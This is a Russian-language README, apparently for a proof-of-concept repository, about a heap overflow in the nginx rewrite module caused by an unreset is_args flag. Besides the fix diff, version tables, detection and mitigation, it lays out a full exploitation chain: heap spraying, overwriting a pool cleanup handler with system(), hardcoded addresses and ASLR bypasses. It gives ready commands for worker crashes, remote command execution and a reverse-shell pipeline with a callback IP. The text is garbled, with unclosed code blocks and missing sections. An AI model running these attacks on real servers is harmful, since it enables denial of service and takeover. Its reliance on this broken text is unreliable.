location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**Ключевые требования:**
- Директива `rewrite`, замена которой содержит `?` (разделитель строки запроса)
- Последующая директива `set`, `if` или `rewrite`, которая ссылается на **безымянный захват PCRE** (`$1`, `$2` и т.д.)
- Символ `?` в замене rewrite запускает `ngx_http_script_start_args_code`, который устанавливает `e->is_args = 1`

### Что может сделать атакующий

| Возможность | Описание |
|-----------|-------------|
| **Отказ в обслуживании (DoS)** | Детерминированное аварийное завершение рабочих процессов, вызывающее циклы перезапуска (работает независимо от ASLR) |
| **Удаленное выполнение кода (RCE)** | При отключенном ASLR (или обходе через частичную перезапись) достигается полное RCE от имени пользователя nginx |
| **Кража данных** | С помощью примитивов чтения памяти извлекаются конфиденциальные данные из кучи рабочего процесса |
| **Постоянство (устойчивость)** | Внедрение бэкдоров через выполнение кода в памяти рабочего процесса |

---

## 2. Анализ первопричины

### Двухпроходный механизм скриптов

Модуль `ngx_http_rewrite_module` NGINX использует **двухпроходный механизм скриптов** в `src/http/ngx_http_script.c`:

1. **Проход длины** (`ngx_http_script_run`): перебирает все коды скрипта для вычисления необходимого общего размера буфера. Записывает длины в `le.ip` и `le.pos`.
2. **Проход копирования** (`ngx_http_script_copy_len`/`_code`): повторно перебирает, записывая фактические байты в предварительно выделенный буфер по адресам `e->ip` и `e->pos`.

Каждый код скрипта имеет два обработчика: для каждого прохода. Например:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### Флаг `is_args`

Флаг `e->is_args` в **структуре движка** (`ngx_http_script_engine_t`) управляет тем, как проход копирования обрабатывает определенные символы:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. Во время **оценки rewrite**, движок встречает `?` в строке замены, что запускает `ngx_http_script_start_args_code`, устанавливая `e->is_args = 1`.
2. Rewrite изменяет URI запроса и затем продолжает выполнение следующей директивы.
3. **`e->is_args` НИКОГДА НЕ СБРАСЫВАЕТСЯ**.

Затем:```
set $original_endpoint $1;

Коэффициент расширения равен `7 + (n_escapable * 2)`, где `n_escapable` — количество символов `+`, `%` и `&` в захвате.

---

## 3. Механика эксплуатации

### Обзор

| Шаг | Техника | Описание |
|------|-----------|-------------|
| 1 | Переполнение | Отправить специально сформированный URI с заполнением `+` для переполнения буфера в куче |
| 2 | Заливка кучи | POST большие тела на `/spray` для заполнения кучи управляемыми данными |
| 3 | Фэн-шуй | Организовать выделения так, чтобы цель переполнения (`ngx_pool_cleanup_t`) оказалась смежной |
| 4 | Повреждение обработчика | Переполнение перезаписывает `ngx_pool_cleanup_t.handler` адресом `system()` |
| 5 | Запуск очистки | Дождаться уничтожения пула → `system(cmd)` выполняет команду атакующего |
| 6 | Обратная оболочка | Цепочка к полезной нагрузке обратной оболочки для интерактивного доступа |

### Фэн-шуй между запросами

**Фэн-шуй в рамках одного запроса не работает**, потому что переполнение повреждает метаданные пула (`->d.next`, `->d.failed`) до достижения указателя `cleanup`. Когда пул уничтожается в конце запроса, поврежденные метаданные вызывают **аварийное завершение до вызова `system()`**.

Вместо этого эксплойт использует **фэн-шуй между запросами**:
1. **Запрос 1 (spray)**: POST большого тела на `/spray`. Бэкенд (`server.py`) задерживает ответ с заголовком `X-Delay`, удерживая соединение открытым и сохраняя выделение в куче. Заливка заполняет кучу поддельными блоками `ngx_pool_cleanup_t`.
2. **Запрос 2 (overflow)**: Отправить URI переполнения. Переполнение повреждает только указатель `cleanup` (не метаданные пула), направляя его на поддельный блок из заливки.
3. **Уничтожение пула**: Когда ответ заливки завершается (истекает задержка), цепочка очистки пула доходит до поддельного блока и вызывает `system(cmd)`.

### Требования к адресам

| Символ | Значение (Docker, ASLR выкл) | Описание |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Базовый адрес кучи nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` в glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Указатель на пул циклов |
| Адрес поддельной очистки | `0x5555556a4030` | Целевой адрес заливки |

### Обход ASLR

Без отключения ASLR **DoS** (аварийное завершение) всё ещё работает детерминистически. Для RCE с включённым ASLR возможны два подхода:

1. **Частичная перезапись**: Использовать 1-байтную или 2-байтную перезапись для сдвига указателя в пределах одной страницы, перебирая оставшиеся полубайты (16–256 попыток).
2. **Утечка информации**: Прочитать `/proc/self/maps` или использовать анализ памяти `log_parser.py` для определения раскладки.

---

## 4. Анализ исправления

### Официальное исправление

**Коммит**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**Файл**: `src/http/ngx_http_script.c`  
**Строка**: ~1205 (в `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### Backport Patches

| Patch | Nginx Versions |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Затрагиваемые версии

### NGINX Open Source

| Диапазон | Статус |
|----------|--------|
| **0.1.0 – 0.6.26** | Не затронуто (модуль rewrite предшествует безымянным захватам) |
| **0.6.27 – 1.30.0** | **Уязвимо** (18-летнее окно) |
| **1.30.1** | Первый исправленный выпуск |
| **1.31.0+** | Исправлено (основная ветка) |

### NGINX Plus

| Релиз | Затронуто | Исправлено |
|-------|-----------|------------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### Экосистема NGINX

| Продукт | Затронуто | Статус |
|---------|-----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Ожидается уведомление |
| F5 NGINX WAF | 5.9.0–5.12.1 | Ожидается уведомление |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Ожидается уведомление |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Ожидается уведомление |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Ожидается уведомление |
| NGINX Agent | 2.0.0–2.35.0 | Ожидается уведомление |

---

## 6. Обнаружение

### Проверка версии```bash
bash detection/detect_vuln.sh

### Сканирование контейнеров```bash
python3 detection/container_scan.py

## 7. Смягчение

### Немедленное (без изменения кода)

Замените **безымянные захваты** на **именованные захваты** во всех директивах `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Применяет следующие меры защиты:
- Проверка ASLR и принудительное включение
- Изоляция рабочих процессов
- Ограничение core dump
- Усиление SSL/TLS
- Лимитирование запросов
- Заголовки CSP

### Проверка ASLR```bash
bash detection/check_aslr.sh

## 9. Быстрый старт```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

Среда Docker:
- Собирает NGINX из исходников на коммите `98fc3bb78` (последний уязвимый коммит до исправления)
- Включает GDB, valgrind, `util-linux` (для `setarch -R` для отключения ASLR)
- Открывает порты **19321** (уязвимый nginx), **19322** (вторичный), **19323** (Python бэкенд)
- Точка входа использует `setarch x86_64 -R` для отключения ASLR для детерминированного расположения адресов эксплойта
- Предоставляет возможность `SYS_PTRACE` и `seccomp=unconfined` для отладки

### Только уязвимая версия```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### ASAN Контейнер```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

## 11. Вызвать переполнение

### Базовое падение (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Символы `+` в захвате `$1` расширяются в 3× во время копирования, в то время как буфер был рассчитан на исходную длину, переполняя кучу.

### Ожидаемый вывод```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Вычисляет минимальное количество знаков `+`, необходимых для переполнения заданного количества байт (полезно при эксплуатации определенных структур кучи).

### Расширение символов```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### Базовое использование```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### Расширенные параметры

| Флаг | По умолчанию | Описание |
|------|-------------|----------|
| `--host` | `127.0.0.1` | Целевой хост |
| `--port` | `19321` | Целевой порт |
| `--cmd` | — | Команда для выполнения (обязательно, если не указан `--shell`) |
| `--shell` | — | Использовать интерактивный режим оболочки |
| `--tries` | `3` | Количество попыток эксплуатации |
| `--delay` | `2.0` | Задержка между spray и overflow (секунды) |
| `--payload` | — | Путь к файлу пользовательской нагрузки |
| `--debug` | — | Включить подробный вывод отладки |

### Анализ расположения кучи```bash
python3 exploit/heap_layout.py

Находит адреса кучи, байты которых не содержат экранируемых символов (`+`, `%`, `&`, `?`, и т.д.) для использования при построении эксплойт-полезной нагрузки.

---

## 13. Проверка обратной оболочки

### Архитектура```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### Автоматическая верификация```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

## 14. Патчинг

### Применить исправление```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### Применить бэкпорт```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

## 15. Тестирование

### Модульные тесты```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Runs:
1. Модульные тесты (pytest или unittest)
2. Тест триггера/переполнения (если сервер запущен)
3. Сканер конфигураций для уязвимых и безопасных конфигураций
4. Валидация пробного запуска патча

### Матрица регрессии```bash
bash tools/regression_matrix.sh

Тестирует все шаблоны конфигурации (базовый, расширенный, ingress, gateway) с триггерами переполнения.

---

## 16. Фаззинг

### libFuzzer Harness

Фаззер (`fuzz/ngx_http_script_fuzz.c`) симулирует двухпроходный движок скриптов:
1. Разбирает входные данные как последовательность кодов скрипта
2. Выполняет проход длины
3. Выполняет проход копирования с `e->is_args = 1`
4. Обнаруживает переполнение буфера через ASAN или несоответствие размера```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

Запускает AFL++ с ASAN, настраиваемым таймаутом и ограничениями памяти для фаззинг-обвязки.

### Семенной корпус

Каталог `fuzz/corpus/` содержит начальные данные, воспроизводящие уязвимый шаблон, в том числе:
- Базовый триггер переполнения
- Именованная фиксация (не должна переполняться)
- Крайние случаи (пустая фиксация, максимальный размер и т.д.)

---

## 17. CI-конвейер

### GitHub Actions

Проект использует **единый рабочий процесс GitHub Actions CI** (`.github/workflows/ci.yml`) со следующими заданиями:

| Задание | Что делает |
|-----|-------------|
| `lint` | ShellCheck, проверка синтаксиса Python |
| `scan-configs` | Запускает config_scanner.py на всех образцах конфигураций |
| `fuzz-build` | Собирает обвязку libFuzzer |
| `test` | Запускает набор pytest/unittest |
| `detect-patch` | Проверяет формат патча и содержимое исправления |
| `verify-project` | Запускает `tools/verify_project.sh` |

### Полный конвейер```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker